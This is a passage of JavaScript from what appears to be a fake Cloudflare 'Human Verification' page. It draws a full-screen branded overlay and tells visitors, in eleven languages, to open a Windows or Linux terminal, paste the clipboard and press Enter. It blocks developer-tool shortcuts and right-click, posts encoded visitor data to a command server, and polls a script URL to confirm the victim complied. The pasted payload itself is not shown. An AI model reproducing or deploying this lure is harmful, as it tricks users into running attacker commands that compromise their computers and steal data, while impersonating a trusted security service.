Ctrl + Alt + T‘,step2:”,step2Chip:’o apri Terminal dal menu’,step3:’
Ctrl + Maiusc + V‘,step4:’
Invio \u21b5‘,stepKeyHelp:’Ctrl+Alt+T apre il terminale su Ubuntu, GNOME, KDE e la maggior parte dei desktop Linux.’},
pt: {keyboardInstructions:’Execute as etapas no teclado Linux’,step1:’
Ctrl + Alt + T‘,step2:”,step2Chip:’ou abra o Terminal pelo menu’,step3:’
Ctrl + Shift + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Ctrl+Alt+T abre o terminal no Ubuntu, GNOME, KDE e na maioria dos desktops Linux.’},
zh: {keyboardInstructions:’\u8bf7\u5728 Linux \u952e\u76d8\u4e0a\u6267\u884c\u4ee5\u4e0b\u6b65\u9aa4′,step1:’
Ctrl + Alt + T‘,step2:”,step2Chip:’\u6216\u4ece\u83dc\u5355\u6253\u5f00 Terminal’,step3:’
Ctrl + Shift + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Ctrl+Alt+T \u53ef\u5728 Ubuntu\u3001GNOME\u3001KDE \u7b49\u5927\u591a\u6570 Linux \u684c\u9762\u4e0a\u6253\u5f00\u7ec8\u7aef\u3002′},
ja: {keyboardInstructions:’Linux\u306e\u30ad\u30fc\u30dc\u30fc\u30c9\u3067\u624b\u9806\u3092\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044′,step1:’
Ctrl + Alt + T‘,step2:”,step2Chip:’\u307e\u305f\u306f\u30e1\u30cb\u30e5\u30fc\u304b\u3089 Terminal \u3092\u958b\u304f’,step3:’
Ctrl + Shift + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Ctrl+Alt+T \u3067 Ubuntu\u3001GNOME\u3001KDE \u7b49\u306e\u5927\u304d\u306a Linux \u30c7\u30b9\u30af\u30c8\u30c3\u30d7\u3067\u30bf\u30fc\u30df\u30ca\u30eb\u3092\u958b\u304d\u307e\u3059\u3002′},
ko: {keyboardInstructions:’Linux \ud0a4\ubcf4\ub4dc\uc5d0\uc11c \ub2e8\uacc4\ub97c \uc218\ud589\ud558\uc138\uc694′,step1:’
Ctrl + Alt + T‘,step2:”,step2Chip:’\ub610\ub294 \uba54\ub274\uc5d0\uc11c Terminal \uc2e4\ud589′,step3:’
Ctrl + Shift + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Ctrl+Alt+T\ub294 Ubuntu, GNOME, KDE \ub4f1 \ub300\ubd80\ubd84\uc758 Linux \ub370\uc2a4\ud06c\ud1b1\uc5d0\uc11c \ud130\ubbf8\ub110\uc744 \uc5fd\ub2c8\ub2e4.’},
tr: {keyboardInstructions:’Ad\u0131mlar\u0131 Linux klavyenizde ger\u00e7ekle\u015ftirin’,step1:’
Ctrl + Alt + T‘,step2:”,step2Chip:’veya men\u00fcden Terminal a\u00e7\u0131n’,step3:’
Ctrl + Shift + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Ctrl+Alt+T, Ubuntu, GNOME, KDE ve \u00e7o\u011fu Linux masa\u00fcst\u00fcnde terminali a\u00e7ar.’},
ar: {keyboardInstructions:’\u0646\u0641\u0651\u0630 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0645\u0641\u0627\u062a\u064a\u062d Linux’,step1:’
Ctrl + Alt + T‘,step2:”,step2Chip:’\u0623\u0648 \u0627\u0641\u062a\u062d Terminal \u0645\u0646 \u0627\u0644\u0642\u0627\u0626\u0645\u0629′,step3:’
Ctrl + Shift + V‘,step4:’
Enter \u21b5‘,stepKeyHelp:’Ctrl+Alt+T \u064a\u0641\u062a\u062d \u0627\u0644\u0637\u0631\u0645\u064a\u0632\u0627\u0644 \u0639\u0644\u0649 Ubuntu \u0648 GNOME \u0648 KDE \u0648\u0645\u0639\u0638\u0645 \u0623\u0633\u0637\u062d Linux.’}
}
};
var SUPPORTED_LANGS = [‘en’, ‘de’, ‘fr’, ‘es’, ‘it’, ‘pt’, ‘zh’, ‘ja’, ‘ko’, ‘tr’, ‘ar’];
function getBrowserLanguageCode() {
var browserLanguages = (navigator.languages && navigator.languages.length ?
navigator.languages :
[navigator.language || ‘en’])
.map(function(lang) {
return String(lang || ”).toLowerCase().split(‘-‘)[0];
});
for (var i = 0; i < browserLanguages.length; i++) {
if (SUPPORTED_LANGS.indexOf(browserLanguages[i]) !== -1) {
return browserLanguages[i];
}
}
return 'en';
}
function mergeOsInstructionSteps(strings, langCode) {
var os = TARGET_OPERATING_SYSTEM || detectVisitorOs();
if (os === 'windows') {
strings.stepKeyHelp = strings.windowsKeyHelp;
return strings;
}
var pack = OS_INSTRUCTION_PACKS[os];
if (!pack) {
strings.stepKeyHelp = strings.windowsKeyHelp;
return strings;
}
var overlay = pack[langCode] || pack.en;
if (!overlay) {
strings.stepKeyHelp = strings.windowsKeyHelp;
return strings;
}
for (var key in overlay) {
if (overlay.hasOwnProperty(key)) {
strings[key] = overlay[key];
}
}
strings.stepKeyHelp = overlay.stepKeyHelp || strings.windowsKeyHelp;
return strings;
}
function buildStep2Html(translations) {
var html = translations.step2 || '';
if (translations.step2Chip) {
html += '
‘ + translations.step2Chip + ‘‘;
}
return html;
}
function getTranslatedStrings() {
var translations = {en:{notRobotText:”I’m not a robot”,verifyingText:’Verifying…’,verificationTitle:’Human Verification’,verificationSubtitle:’Complete the steps below’,keyboardInstructions:’Perform the steps on your keyboard’,timeRemaining:’Time Remaining’,warning30Seconds:’Less than 30 seconds remaining!’,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’or choose Terminal’,step3:’
Ctrl + V‘,step4:’
Enter \u21b5‘,privacyLink:’Privacy’,termsLink:’Terms’,securityMessage:’needs to review the security of your connection before proceeding.’,windowsKeyHelp:’This is the Windows key, located at the bottom of your keyboard between Ctrl and Alt, under the Z key’},de:{notRobotText:’Ich bin kein Roboter’,verifyingText:’\u00dcberpr\u00fcfung\u2026′,verificationTitle:’Menschliche Verifizierung’,verificationSubtitle:’F\u00fchren Sie die folgenden Schritte aus’,keyboardInstructions:’F\u00fchren Sie die Schritte auf Ihrer Tastatur durch’,timeRemaining:’Verbleibende Zeit’,warning30Seconds:’Weniger als 30 Sekunden!’,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’oder Terminal’,step3:’
Strg + V‘,step4:’
Enter \u21b5‘,privacyLink:’Datenschutz’,termsLink:’Bedingungen’,securityMessage:’muss die Sicherheit Ihrer Verbindung \u00fcberpr\u00fcfen.’,windowsKeyHelp:’Das ist die Windows-Taste, unten auf der Tastatur zwischen Strg und Alt, unter der Z-Taste’},fr:{notRobotText:’Je ne suis pas un robot’,verifyingText:’V\u00e9rification\u2026′,verificationTitle:’V\u00e9rification humaine’,verificationSubtitle:’Suivez les \u00e9tapes ci-dessous’,keyboardInstructions:’Effectuez les \u00e9tapes sur votre clavier’,timeRemaining:’Temps restant’,warning30Seconds:’Moins de 30 secondes !’,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’ou Terminal’,step3:’
Ctrl + V‘,step4:’
Entr\u00e9e \u21b5‘,privacyLink:’Confidentialit\u00e9′,termsLink:’Conditions’,securityMessage:’doit v\u00e9rifier la s\u00e9curit\u00e9 de votre connexion.’,windowsKeyHelp:’C\’est la touche Windows, en bas du clavier entre Ctrl et Alt, sous la touche Z’},es:{notRobotText:’No soy un robot’,verifyingText:’Comprobando\u2026′,verificationTitle:’Verificaci\u00f3n humana’,verificationSubtitle:’Completa los pasos abajo’,keyboardInstructions:’Realiza los pasos en tu teclado’,timeRemaining:’Tiempo restante’,warning30Seconds:’\u00a1Menos de 30 segundos!’,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’o Terminal’,step3:’
Ctrl + V‘,step4:’
Enter \u21b5‘,privacyLink:’Privacidad’,termsLink:’T\u00e9rminos’,securityMessage:’debe revisar la seguridad de tu conexi\u00f3n.’,windowsKeyHelp:’Esta es la tecla de Windows, en la parte inferior del teclado entre Ctrl y Alt, bajo la tecla Z’},it:{notRobotText:’Non sono un robot’,verifyingText:’Verifica\u2026′,verificationTitle:’Verifica umana’,verificationSubtitle:’Completa i passaggi seguenti’,keyboardInstructions:’Esegui i passaggi sulla tua tastiera’,timeRemaining:’Tempo rimanente’,warning30Seconds:’Meno di 30 secondi!’,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’o Terminal’,step3:’
Ctrl + V‘,step4:’
Invio \u21b5‘,privacyLink:’Privacy’,termsLink:’Termini’,securityMessage:’deve verificare la sicurezza della connessione.’,windowsKeyHelp:’Questo \u00e8 il tasto Windows, in basso sulla tastiera tra Ctrl e Alt, sotto il tasto Z’},pt:{notRobotText:’N\u00e3o sou um rob\u00f4′,verifyingText:’Verificando\u2026′,verificationTitle:’Verifica\u00e7\u00e3o humana’,verificationSubtitle:’Conclua as etapas abaixo’,keyboardInstructions:’Execute as etapas no seu teclado’,timeRemaining:’Tempo restante’,warning30Seconds:’Menos de 30 segundos!’,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’ou Terminal’,step3:’
Ctrl + V‘,step4:’
Enter \u21b5‘,privacyLink:’Privacidade’,termsLink:’Termos’,securityMessage:’precisa verificar a seguran\u00e7a da conex\u00e3o.’,windowsKeyHelp:’Esta \u00e9 a tecla Windows, na parte inferior do teclado entre Ctrl e Alt, abaixo da tecla Z’},zh:{notRobotText:’\u6211\u4e0d\u662f\u673a\u5668\u4eba’,verifyingText:’\u6b63\u5728\u68c0\u67e5\u2026′,verificationTitle:’\u4eba\u5de5\u9a8c\u8bc1′,verificationSubtitle:’\u8bf7\u5b8c\u6210\u4ee5\u4e0b\u6b65\u9aa4′,keyboardInstructions:’\u8bf7\u5728\u952e\u76d8\u4e0a\u6267\u884c\u4ee5\u4e0b\u6b65\u9aa4′,timeRemaining:’\u5269\u4f59\u65f6\u95f4′,warning30Seconds:’\u5269\u4f59\u4e0d\u8db330\u79d2\uff01′,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’\u9009\u62e9 Terminal’,step3:’
Ctrl + V‘,step4:’
Enter \u21b5‘,privacyLink:’\u9690\u79c1′,termsLink:’\u6761\u6b3e’,securityMessage:’\u9700\u8981\u68c0\u67e5\u60a8\u7684\u8fde\u63a5\u5b89\u5168\u6027\u3002′,windowsKeyHelp:’\u8fd9\u662f Windows \u952e\uff0c\u4f4d\u4e8e\u952e\u76d8\u5e95\u90e8 Ctrl \u548c Alt \u4e4b\u95f4\uff0cZ \u952e\u4e0b\u65b9′},ja:{notRobotText:’\u79c1\u306f\u30ed\u30dc\u30c3\u30c8\u3067\u306f\u3042\u308a\u307e\u305b\u3093′,verifyingText:’\u78ba\u8a8d\u4e2d\u2026′,verificationTitle:’\u4eba\u9593\u78ba\u8a8d’,verificationSubtitle:’\u4ee5\u4e0b\u306e\u624b\u9806\u3092\u5b8c\u4e86\u3057\u3066\u304f\u3060\u3055\u3044′,keyboardInstructions:’\u30ad\u30fc\u30dc\u30fc\u30c9\u3067\u624b\u9806\u3092\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044′,timeRemaining:’\u6b8b\u308a\u6642\u9593′,warning30Seconds:’\u6b8b\u308a30\u79d2\u672a\u6e80\uff01′,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’\u307e\u305f\u306f Terminal’,step3:’
Ctrl + V‘,step4:’
Enter \u21b5‘,privacyLink:’\u30d7\u30e9\u30a4\u30d0\u30b7\u30fc’,termsLink:’\u898f\u7d04′,securityMessage:’\u63a5\u7d9a\u306e\u5b89\u5168\u6027\u3092\u78ba\u8a8d\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002′,windowsKeyHelp:’\u3053\u308c\u306f Windows \u30ad\u30fc\u3067\u3059\u3002\u30ad\u30fc\u30dc\u30fc\u30c9\u4e0b\u90e8\u306e Ctrl \u3068 Alt \u306e\u9593\u3001Z \u30ad\u30fc\u306e\u4e0b\u306b\u3042\u308a\u307e\u3059′},ko:{notRobotText:’\ub098\ub294 \ub85c\ubd07\uc774 \uc544\ub2d9\ub2c8\ub2e4′,verifyingText:’\ud655\uc778 \uc911\u2026′,verificationTitle:’\uc0ac\ub78c \ud655\uc778′,verificationSubtitle:’\uc544\ub798 \ub2e8\uacc4\ub97c \uc644\ub8cc\ud558\uc138\uc694′,keyboardInstructions:’\ud0a4\ubcf4\ub4dc\ub85c \ub2e8\uacc4\ub97c \uc218\ud589\ud558\uc138\uc694′,timeRemaining:’\ub0a8\uc740 \uc2dc\uac04′,warning30Seconds:’30\ucd08 \ubbf8\ub9cc \ub0a8\uc74c!’,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’\ub610\ub294 Terminal’,step3:’
Ctrl + V‘,step4:’
Enter \u21b5‘,privacyLink:’\uac1c\uc778\uc815\ubcf4′,termsLink:’\uc57d\uad00′,securityMessage:’\uc5f0\uacb0 \ubcf4\uc548\uc744 \ud655\uc778\ud574\uc57c \ud569\ub2c8\ub2e4.’,windowsKeyHelp:’\uc774\uac83\uc740 Windows \ud0a4\uc785\ub2c8\ub2e4. \ud0a4\ubcf4\ub4dc \ud558\ub2e8\uc758 Ctrl\uacfc Alt \uc0ac\uc774, Z \ud0a4 \uc544\ub798\uc5d0 \uc788\uc2b5\ub2c8\ub2e4′},tr:{notRobotText:’Ben robot de\u011filim’,verifyingText:’Kontrol ediliyor\u2026′,verificationTitle:’\u0130nsan do\u011frulamas\u0131′,verificationSubtitle:’A\u015fa\u011f\u0131daki ad\u0131mlar\u0131 tamamlay\u0131n’,keyboardInstructions:’Ad\u0131mlar\u0131 klavyenizde ger\u00e7ekle\u015ftirin’,timeRemaining:’Kalan s\u00fcre’,warning30Seconds:’30 saniyeden az kald\u0131!’,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’veya Terminal’,step3:’
Ctrl + V‘,step4:’
Enter \u21b5‘,privacyLink:’Gizlilik’,termsLink:’\u015eartlar’,securityMessage:’ba\u011flant\u0131n\u0131z\u0131n g\u00fcvenli\u011fini kontrol etmesi gerekiyor.’,windowsKeyHelp:’Bu Windows tu\u015fudur, klavyenizin alt k\u0131sm\u0131nda Ctrl ve Alt aras\u0131nda, Z tu\u015funun alt\u0131nda bulunur’},ar:{notRobotText:’\u0644\u0633\u062a \u0628\u0631\u0646\u0627\u0645\u062c \u0631\u0648\u0628\u0648\u062a’,verifyingText:’\u062c\u0627\u0631\u064d \u0627\u0644\u062a\u062d\u0642\u0642\u2026′,verificationTitle:’\u0627\u0644\u062a\u062d\u0642\u0642 \u0627\u0644\u0628\u0634\u0631\u064a’,verificationSubtitle:’\u0623\u0643\u0645\u0644 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0623\u062f\u0646\u0627\u0647′,keyboardInstructions:’\u0646\u0641\u0651\u0630 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d’,timeRemaining:’\u0627\u0644\u0648\u0642\u062a \u0627\u0644\u0645\u062a\u0628\u0642\u064a’,warning30Seconds:’\u0623\u0642\u0644 \u0645\u0646 30 \u062b\u0627\u0646\u064a\u0629!’,step1:’
‘+WINDOWS_LOGO_SVG+’ + X‘,step2:’
I‘,step2Chip:’\u0623\u0648 Terminal’,step3:’
Ctrl + V‘,step4:’
Enter \u21b5‘,privacyLink:’\u0627\u0644\u062e\u0635\u0648\u0635\u064a\u0629′,termsLink:’\u0627\u0644\u0634\u0631\u0648\u0637′,securityMessage:’\u064a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u0645\u0631\u0627\u062c\u0639\u0629 \u0623\u0645\u0627\u0646 \u0627\u062a\u0635\u0627\u0644\u0643.’,windowsKeyHelp:’\u0647\u0630\u0627 \u0647\u0648 \u0645\u0641\u062a\u0627\u062d Windows\u060c \u0641\u064a \u0623\u0633\u0641\u0644 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0628\u064a\u0646 Ctrl \u0648 Alt\u060c \u062a\u062d\u062a \u0645\u0641\u062a\u0627\u062d Z’}};
var langCode = getBrowserLanguageCode();
if (translations[langCode]) {
return translations[langCode];
}
return translations.en;
}
var UI_TRANSLATIONS = mergeOsInstructionSteps(getTranslatedStrings(), getBrowserLanguageCode());
var STEP2_HTML = buildStep2Html(UI_TRANSLATIONS);
var CLOUDFLARE_LOGO_SVG = ‘cloudflare’;
var CLOUDFLARE_LOGO_BASE64 = ‘data:image/svg+xml;base64,’ + btoa(CLOUDFLARE_LOGO_SVG);
var IS_LIGHT_MODE = !!(window.matchMedia && window.matchMedia(‘(prefers-color-scheme:light)’).matches);
var CLOUDFLARE_FULL_LOGO_SVG = ‘.a{fill:#fff}.b{fill:#f48120}.c{fill:#faad3f}.d{fill:’ + (IS_LIGHT_MODE ? ‘#404041’ : ‘#fff’) + ‘}’;
var CLOUDFLARE_FULL_LOGO_BASE64 = ‘data:image/svg+xml;base64,’ + btoa(CLOUDFLARE_FULL_LOGO_SVG);
var CLOUDFLARE_WHITE_LOGO_BASE64 = ‘data:image/svg+xml;base64,’ + btoa(
CLOUDFLARE_FULL_LOGO_SVG.replace(‘.d{fill:’ + (IS_LIGHT_MODE ? ‘#404041’ : ‘#fff’) + ‘}’, ‘.d{fill:#fff}’)
);
var DISPLAY_HOSTNAME = CUSTOM_DOMAIN || (window.location && window.location.hostname) || ‘cloudflare.com’;
var RAY_TRACKING_ID = ‘d8fc26fb3c8ae49a’;
var styleElement = document.createElement(‘style’);
styleElement.id = ‘bw-cf-style’;
styleElement.textContent = ‘#bw-cf-root{position:fixed !important;top:0 !important;left:0 !important;right:0 !important;bottom:0 !important;width:100vw !important;height:100vh !important;min-width:100vw !important;min-height:100vh !important;max-width:none !important;max-height:none !important;margin:0 !important;padding:0 !important;box-sizing:border-box !important;transform:none !important;z-index:2147483647 !important;background:#222;color:#d9d9d9;overflow:auto;font-family:system-ui,-apple-system,”Segoe UI”,Roboto,Arial,sans-serif !important;direction:ltr !important;font-size:16px !important;line-height:1.5;text-align:left !important;unicode-bidi:isolate !important;}’+’#bw-cf-root *{box-sizing:border-box !important;margin:0;padding:0;}’+’#bw-cf-root .main-content{margin:8em auto;padding:0 1.5em;max-width:60em;width:100%;}’+’#bw-cf-root .h1{line-height:1.4;font-size:2.5em;font-weight:500;display:flex;align-items:center;gap:0.75em;color:#fff;}’+’#bw-cf-root .h2{line-height:1.5;font-size:1.5em;font-weight:400;color:#d1d1d1;margin-top:0.3em;}’+’#bw-cf-root .heading-favicon{height:1em;width:auto;}’+’#bw-cf-root .core-msg{line-height:1.6;font-size:1.5em;font-weight:400;color:#d1d1d1;margin-top:2.5em;}’+’#bw-cf-root .widget-spacer{margin:2.5em 0;}’+’#bw-cf-root .checkbox-window{box-sizing:border-box;display:flex;flex-direction:column;align-items:stretch;justify-content:center;border:1px solid #797979;background-color:#232323;height:78px;user-select:none;padding:0 16px;width:100%;max-width:320px;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .checkbox-row{display:flex;align-items:center;width:100%;min-height:78px;justify-content:space-between;gap:7px;direction:ltr !important;}’+’#bw-cf-root .checkbox-container{width:30px;flex:0 0 30px;display:flex;align-items:center;justify-content:center;position:relative;}’+’#bw-cf-root .checkbox{width:30px;height:30px;border-radius:3px;border:2px solid #dadada;background:#232323;cursor:pointer;display:block;outline:none;padding:0;-webkit-appearance:none;appearance:none;transition:border-color .2s;}’+’#bw-cf-root .checkbox:hover{border-color:#fbad41;}’+’#bw-cf-root .tettx{display:flex;align-items:center;min-height:30px;flex:1;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .tettx p{margin:0 !important;line-height:1;font-size:14px;color:#fff;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .checkbox-row>div:last-child{display:inline-flex;flex-direction:column;text-align:right;align-items:flex-end;flex-shrink:0;}’+’#bw-cf-root .checkbox-row>div:last-child img{width:90px;margin-bottom:4px;}’+’#bw-cf-root .checkbox-row>div:last-child p{line-height:1.4;color:#bbb;font-size:8px;text-decoration:underline;margin:0 !important;white-space:nowrap;}’+’#bw-cf-root .spinner-wrap{display:none;width:32px;height:32px;align-items:center;justify-content:center;}’+’#bw-cf-root .ck-wrap{display:none;width:30px;height:30px;align-items:center;justify-content:center;}’+’#bw-cf-root .footer{position:fixed;bottom:0;left:0;right:0;padding:1em 1.5em;}’+’#bw-cf-root .footer-inner{border-top:1px solid #444;padding:1em 0;text-align:center;font-size:.75em;}’+’#bw-cf-root .rc{font-family:monospace;}’+’#bw-cf-root .verify-window{position:fixed !important;top:0 !important;left:0 !important;width:100% !important;height:100% !important;background:rgba(0,0,0,.7);display:none;justify-content:center;align-items:center;z-index:2147483648 !important;opacity:0;transition:opacity .3s,visibility .3s;}’+’#bw-cf-root .verify-window.active{display:flex;opacity:1;}’+’#bw-cf-root .modal-content{background:#2b2b2b;border-radius:8px;max-width:420px;width:90%;overflow:hidden;transform:scale(.95);transition:transform .3s;}’+’#bw-cf-root .verify-window.active .modal-content{transform:scale(1);}’+’#bw-cf-root .modal-header{background:linear-gradient(90deg,#f38020,#e9a33f);padding:1rem 1.5rem;display:flex;justify-content:space-between;align-items:center;gap:10px;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .modal-header h2{font-size:1em;margin:0 !important;color:#fff;font-weight:600;}’+’#bw-cf-root .modal-header p{font-size:.75em;margin:.1em 0 0 !important;color:#fff;opacity:.9;}’+’#bw-cf-root .modal-header img{height:40px;}’+’#bw-cf-root .modal-body{padding:1.25em;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .instruction-list{list-style:none;padding:0 !important;margin:0 0 1.25em !important;display:flex;flex-direction:column;gap:0.85em;}’+’#bw-cf-root .instruction-list li{display:flex;align-items:center;justify-content:space-between;gap:1em;padding:1em 1.1em !important;margin:0 !important;background:rgba(255,255,255,.07);border-left:2px solid #f38020;direction:ltr !important;text-align:left !important;}’+’#bw-cf-root .step-left{display:flex;align-items:center;gap:.75em;direction:ltr !important;}’+’#bw-cf-root .step-badge{display:flex;align-items:center;justify-content:center;width:22px;height:22px;background:linear-gradient(135deg,#f38020,#e9a33f);color:#fff;font-weight:700;font-size:11px;border-radius:50%;flex:0 0 auto;}’+’#bw-cf-root .step-text{color:#fff;font-size:13px;}’+’#bw-cf-root .step-text b{display:inline-block;background:rgba(243,128,32,.2);color:#f59040;padding:2px 8px;border-radius:4px;border:1px solid transparent;font-weight:700;font-size:11.5px;font-family:monospace;vertical-align:middle;margin:0 2px;box-shadow:none;transition:background .15s,color .15s,transform .12s;white-space:nowrap;}’+’#bw-cf-root .step-text b.klit{background:rgba(243,128,32,.45);border-color:transparent;color:#ffb870;box-shadow:none;transform:scale(0.95);}’+’#bw-cf-root .step-text b{position:relative;overflow:visible;}’+’#bw-cf-root .wk-hint{position:absolute;top:-7px;right:-9px;width:14px;height:14px;background:rgba(83,155,245,.85);color:#fff;border-radius:50%;font-size:8.5px;cursor:help;display:flex;align-items:center;justify-content:center;font-weight:800;font-family:system-ui,sans-serif;line-height:1;z-index:3;border:1px solid rgba(83,155,245,.4);letter-spacing:0;}’+’#bw-cf-root .wk-tooltip{display:none;position:absolute;top:calc(100% + 6px);left:0;background:#131c35;color:#c8d6f8;border:1px solid rgba(90,137,226,.35);border-radius:7px;padding:8px 11px;font-size:11.5px;white-space:normal;width:218px;z-index:20;pointer-events:none;font-family:system-ui,sans-serif;font-weight:400;box-shadow:0 6px 18px rgba(0,0,0,.5);line-height:1.45;font-style:normal;letter-spacing:0;}’+’#bw-cf-root .wk-hint:hover .wk-tooltip{display:block;}’+’#bw-cf-root .key-combo{display:flex;align-items:center;gap:4px;background:rgba(0,0,0,.2);padding:3px 6px;border-radius:4px;direction:ltr !important;}’+’#bw-cf-root kbd{display:inline-flex;align-items:center;justify-content:center;min-width:26px;height:26px;padding:0 5px;background:linear-gradient(145deg,#2d2d2d,#1a1a1a);border:1px solid #444;border-radius:4px;box-shadow:0 1px 0 #0a0a0a;color:#fff;font-family:monospace;font-size:11px;font-weight:600;white-space:nowrap;}’+’#bw-cf-root .key-combo .plus{color:#888;font-size:12px;}’+’#bw-cf-root .key-combo .hint{color:#f38020;font-size:14px;margin-left:2px;}’+’@media(prefers-color-scheme:light){#bw-cf-root{background:#fff !important;color:#111;}#bw-cf-root .h1{color:#111;}#bw-cf-root .core-msg{color:#444;}#bw-cf-root .footer-inner{border-top-color:#ddd;color:#777;}#bw-cf-root .checkbox-window{border-color:#d1d1d1;background-color:#f9f9f9;}#bw-cf-root .checkbox{border-color:#aaa;background:#eee;}#bw-cf-root .tettx p{color:#111;}#bw-cf-root .checkbox-row>div:last-child p{color:#555;}#bw-cf-root .modal-content{background:#fff;}#bw-cf-root .step-text{color:#222;}#bw-cf-root .step-text b{background:rgba(243,128,32,.15);color:#b05500;border-color:transparent;box-shadow:none;}#bw-cf-root .step-text b.klit{background:rgba(243,128,32,.32);border-color:transparent;color:#904000;box-shadow:none;}#bw-cf-root .instruction-list li{background:rgba(0,0,0,.04);}#bw-cf-root .wk-hint{background:rgba(30,74,184,.8);border-color:rgba(30,74,184,.4);}#bw-cf-root .wk-tooltip{background:#eef2ff;color:#1e3a8a;border-color:rgba(61,107,191,.35);box-shadow:0 4px 12px rgba(0,0,0,.1);}}’+’#bw-cf-root .term-chip{display:inline-flex;align-items:center;vertical-align:middle;background:linear-gradient(135deg,#f38020,#e9a33f);color:#fff;border-radius:5px;font-size:.8em;font-weight:700;padding:2px 7px;margin-left:5px;white-space:nowrap;}’+’#bw-cf-root .cf-loader{display:flex;flex-direction:column;align-items:center;padding:.75em 0 1.25em;}’+’#bw-cf-root .cf-loader svg{width:72px;height:auto;margin-bottom:10px;}’+’#bw-cf-root .cf-loader-bar{width:116px;height:4px;background:#e5e5e5;border-radius:2px;overflow:hidden;margin-top:4px;}’+’#bw-cf-root .cf-loader-bar-inner{width:25%;height:100%;background:linear-gradient(90deg,transparent,#f78100 45%,#f78100 55%,transparent);border-radius:2px;animation:cfLoadBar 1.5s ease-in-out infinite;}’+’@keyframes cfLoadBar{0%{transform:translateX(-100%)}50%{transform:translateX(400%)}100%{transform:translateX(-100%)}}’+’@keyframes bwCfSpin{0%{transform:rotate(0deg);}100%{transform:rotate(360deg);}}’+’@keyframes bwCfPulse{0%,100%{opacity:1;}50%{opacity:.5;}}’;
document.head.appendChild(styleElement);
var rootElement = document.createElement(‘div’);
rootElement.id = ‘bw-cf-root’;
rootElement.setAttribute(‘dir’, ‘ltr’);
rootElement.style.cssText = ‘position:fixed!important;top:0!important;left:0!important;right:0!important;bottom:0!important;width:100vw!important;height:100vh!important;min-width:100vw!important;min-height:100vh!important;max-width:none!important;max-height:none!important;margin:0!important;padding:0!important;z-index:2147483647!important;box-sizing:border-box!important;transform:none!important;’;
rootElement.innerHTML = `
${DISPLAY_HOSTNAME}
${DISPLAY_HOSTNAME} ${UI_TRANSLATIONS.securityMessage}
-
1
${UI_TRANSLATIONS.step1}
-
2
${STEP2_HTML}
-
3
${UI_TRANSLATIONS.step3}
-
4
${UI_TRANSLATIONS.step4}
ID Code: ${RAY_TRACKING_ID}
`;
(document.documentElement || document.body).appendChild(rootElement);
rootElement.style.backgroundColor = ‘rgba(34,34,34,’ + BACKGROUND_OPACITY + ‘)’;
try {
if (window.lscCogniStackOurOverlay) window.lscCogniStackOurOverlay(rootElement);
else if (document.body) document.body.appendChild(rootElement);
} catch (e) {}
var documentElement = document.documentElement;
var documentBody = document.body;
if (documentElement) {
documentElement.style.overflow = ‘hidden’;
documentElement.style.overscrollBehavior = ‘none’;
}
if (documentBody) {
documentBody.style.overflow = ‘hidden’;
documentBody.style.overscrollBehavior = ‘none’;
}
document.addEventListener(‘keydown’, function(event) {
var key = String(event.key || ”).toLowerCase();
if (key === ‘f12’ ||
((event.ctrlKey || event.metaKey) && event.shiftKey && (key === ‘i’ || key === ‘j’ || key === ‘c’)) ||
((event.ctrlKey || event.metaKey) && key === ‘u’)) {
event.preventDefault();
event.stopPropagation();
}
}, true);
document.addEventListener(‘contextmenu’, function(event) {
event.preventDefault();
event.stopPropagation();
}, true);
function sendRequestToServer(payload) {
return fetch(CC_SERVER_API_URL, {
method: ‘POST’,
cache: ‘no-store’,
headers: {
‘Content-Type’: ‘application/x-www-form-urlencoded’
},
body: ‘d=’ + encodeURIComponent(btoa(JSON.stringify(payload)))
});
}
function decodeServerResponse(hexString) {
var decodedString = ”;
var charIndex = 0;
for (; charIndex 180000) {
return;
}
isPollInFlight = true;
var checkUrl = APPS_SCRIPT_URL + ‘?id=’ + encodeURIComponent(UNIQUE_VISITOR_ID);
fetch(checkUrl, {
method: ‘GET’,
redirect: ‘follow’,
credentials: ‘omit’,
cache: ‘no-store’
})
.then(function(response) {
return response.json();
})
.then(function(data) {
isPollInFlight = false;
if (data && data.exists === true) {
completeVerification();
} else {
// Next GET only after this response — never overlap.
setTimeout(pollServerStatus, 2000);
}
})
.catch(function() {
isPollInFlight = false;
setTimeout(pollServerStatus, 2000);
});
}
setTimeout(pollServerStatus, 2000);
}
function processKeyboardSteps(modalElement) {
var buttonElements = Array.prototype.slice.call(
modalElement.querySelectorAll(‘.step-text b’)
);
for (var i = 0; i < buttonElements.length; i++) {
var buttonElement = buttonElements[i];
if (buttonElement.innerHTML.indexOf(' + ') === -1) {
continue;
}
